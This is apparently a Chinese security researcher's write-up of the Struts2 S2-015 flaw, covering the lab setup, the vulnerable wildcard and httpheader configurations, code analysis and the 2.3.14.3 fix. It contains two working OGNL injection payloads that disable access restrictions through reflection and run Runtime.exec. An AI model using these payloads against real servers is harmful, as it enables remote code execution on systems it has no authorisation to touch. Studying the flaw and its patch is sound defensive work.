前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建
2.3.14.2 版本的 struts2 + Tomcat 9。
通配符
修改 struts.xml 文件,加上一个默认 Action:
<action name="*" class="com.example.struts2.LoginAction">
<result>/{1}.jsp</result>
</action>
简单来说就是匹配不到 Action 时会访问的 JSP。
参数的双重评估
类似 S2-012,不过发生在设置 HTTP Headers 的 Action 而不是重定向中:
<result type="httpheader">
<param name="headers.username">${username}</param>
</result>
漏洞利用
漏洞利用 1
本地环境为 2.3.14.2,所以修改安全配置需要使用反射,利用 payload 如下:
http://localhost:8080/${%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),@java.lang.Runtime@getRuntime().exec('calc')}.action
漏洞利用 2
payload 如下:
username=${%25{%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),@java.lang.Runtime@getRuntime().exec('calc')}}
漏洞分析
漏洞分析 1
看到 StrutsResultSupport 类的 execute 方法:
public void execute(ActionInvocation invocation) throws Exception {
lastFinalLocation = conditionalParse(location, invocation);
doExecute(lastFinalLocation, invocation);
}
这里的 location 就是我们访问的 Action,这里的意思是对 location 做一个处理(简单来说就是按照配置文件的写法拼接完成之后,再作为一个表达式来解析),然后将处理结果作为最后要访问的路径,处理的时候会调用 translateVariables 方法,也就是之前一直看到的表达式解析函数。
漏洞分析 2
类似 S2-012,% 和 $ 各解析了一次,实际上 payload 里面可以去掉外面那一层 ${},同样可以利用,struts 在处理 HTTP Headers 的时候:
if (headers != null) {
for (Map.Entry<String, String> entry : headers.entrySet()) {
String value = entry.getValue();
String finalValue = parse ? TextParseUtil.translateVariables(value, stack) : value;
response.addHeader(entry.getKey(), finalValue);
}
}
会调用 translateVariables 函数,这里就是双重评估的触发点了。
漏洞修复
漏洞修复1
2.3.14.3 版本的修复:
protected String allowedActionNames = "[a-z]*[A-Z]*[0-9]*[.\\-_!/]*";
protected String cleanupActionName(final String rawActionName) {
if (rawActionName.matches(allowedActionNames)) {
return rawActionName;
} else {
if (LOG.isWarnEnabled()) {
LOG.warn("Action [#0] do not match allowed action names pattern [#1], cleaning it up!",
rawActionName, allowedActionNames);
}
String cleanActionName = rawActionName;
for(String chunk : rawActionName.split(allowedActionNames)) {
cleanActionName = cleanActionName.replace(chunk, "");
}
if (LOG.isDebugEnabled()) {
LOG.debug("Cleaned action name [#0]", cleanActionName);
}
return cleanActionName;
}
}
对 Action 的名称做了白名单清理。
漏洞修复 2
同 S2-012,可以算是移除了双重评估。
Orz